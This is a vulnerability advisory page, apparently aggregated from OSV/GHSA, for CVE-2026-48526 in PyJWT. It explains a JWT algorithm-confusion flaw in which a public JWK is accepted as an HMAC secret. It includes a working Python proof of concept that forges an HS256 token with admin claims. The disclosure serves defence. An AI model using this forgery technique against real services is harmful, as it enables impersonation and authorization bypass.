---
schema_version: '1.0'
id: security-20260812-0f07c2
title: 'CVE-2026-48526: PyJWT: Public-key JWK accepted as HMAC secret enables forged
  HS256 tokens when mixed families are allowed'
url: https://osv.dev/vulnerability/GHSA-xgmm-8j9v-c9wx
url_hash: 0f07c2f8a317936858d24ee03b31a351846674d2a6ceb43df73dbfc058f2bbfc
canonical_url: https://osv.dev/vulnerability/GHSA-xgmm-8j9v-c9wx
source: osv:ghsa
category: security/library
category_raw: cve/library
region: null
tags:
- cve
- CVE-2026-48526
- GHSA-xgmm-8j9v-c9wx
- severity:CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
- pyjwt
- PyPI
lang: en
published_at: '2026-06-15T19:28:06Z'
fetched_at: '2026-08-12T16:00:04.735001Z'
updated_at: '2026-08-22T14:49:09Z'
status: published
content_hash: 0b7a9f5f7efeeacf1d2f9748a3554f91a038f36189871be8fd04318b5cb86fef
content_changed_at: '2026-08-22T13:15:21.880974Z'
license_note: full
summary: 'PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens
  when mixed families are allowed'
summary_source: rss
summary_en: 'PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens
  when mixed families are allowed'
summary_omitted_reason: null
redistribution: true
keywords_en:
- accepted
- allowed
- are
- CVE
- CVE-2026-48526
- enables
- families
- forged
- GHSA-xgmm-8j9v-c9wx
- HMAC
- HS256
- JWK
- library vulnerability
- mixed
- Public-key
- pyjwt
- PyPI
- secret
- severity:CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
- software security
- tokens
- when
entities_en:
- name: CVE
  type: data
- name: PyPI
  type: artifact
topics_en:
- library vulnerability
- software security
numeric_facts: []
entities:
- name: CVE
  type: data
- name: PyPI
  type: artifact
related_auto:
- name: Portal
  type: organization
  weight: 1.0
- name: Hugging Face
  type: organization
  weight: 1.0
computed_at: '2026-08-22T14:49:06Z'
---

# CVE-2026-48526: PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed

## TL;DR
PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed

## Key Points
- cve / CVE-2026-48526 / GHSA-xgmm-8j9v-c9wx / severity:CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N / pyjwt / PyPI

## Details
**Severity:** CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
**Advisory:** GHSA-xgmm-8j9v-c9wx (CVE-2026-48526)

**Details:**
> [!NOTE]
> Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in `algorithms=[…]` and a raw-JSON JWK as the `key=` argument, both contrary to documented usage, hence the High attack-complexity rating.

### Summary
When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.   

### Details
In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms.
In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:
  
`jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])) `

An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. 
The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user. 

If we look on current protections implemented in the library, at class HMACAlgorithm:

```
  def prepare_key(self, key: str | bytes) -> bytes:
        key_bytes = force_bytes(key)

        if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
            raise InvalidKeyError(
                "The specified key is an asymmetric key or x509 certificate and"
                " should not be used as an HMAC secret."
            )

        return key_bytes
```
We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.

In The following example:
`jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])) `
There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations. 

The bypass happens only if the verifier:
 (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.

### PoC
Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')

```
from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib

def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")

# Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})

# Attacker-crafted token: flip to HS256 and choose claims
header  = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload

# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig   = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()

# Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
# -> b'{"sub":"alice","admin":true}'
```


### Impact
Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).

**References:**
- https://github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx
- https://nvd.nist.gov/vuln/detail/CVE-2026-48526
- https://github.com/jpadilla/pyjwt
- https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-179.yaml

_Data: OSV.dev (upstream: ghsa) — https://osv.dev/vulnerability/GHSA-xgmm-8j9v-c9wx_

## Source
元記事: [CVE-2026-48526: PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed](https://osv.dev/vulnerability/GHSA-xgmm-8j9v-c9wx) — published 2026-06-15T19:28:06Z
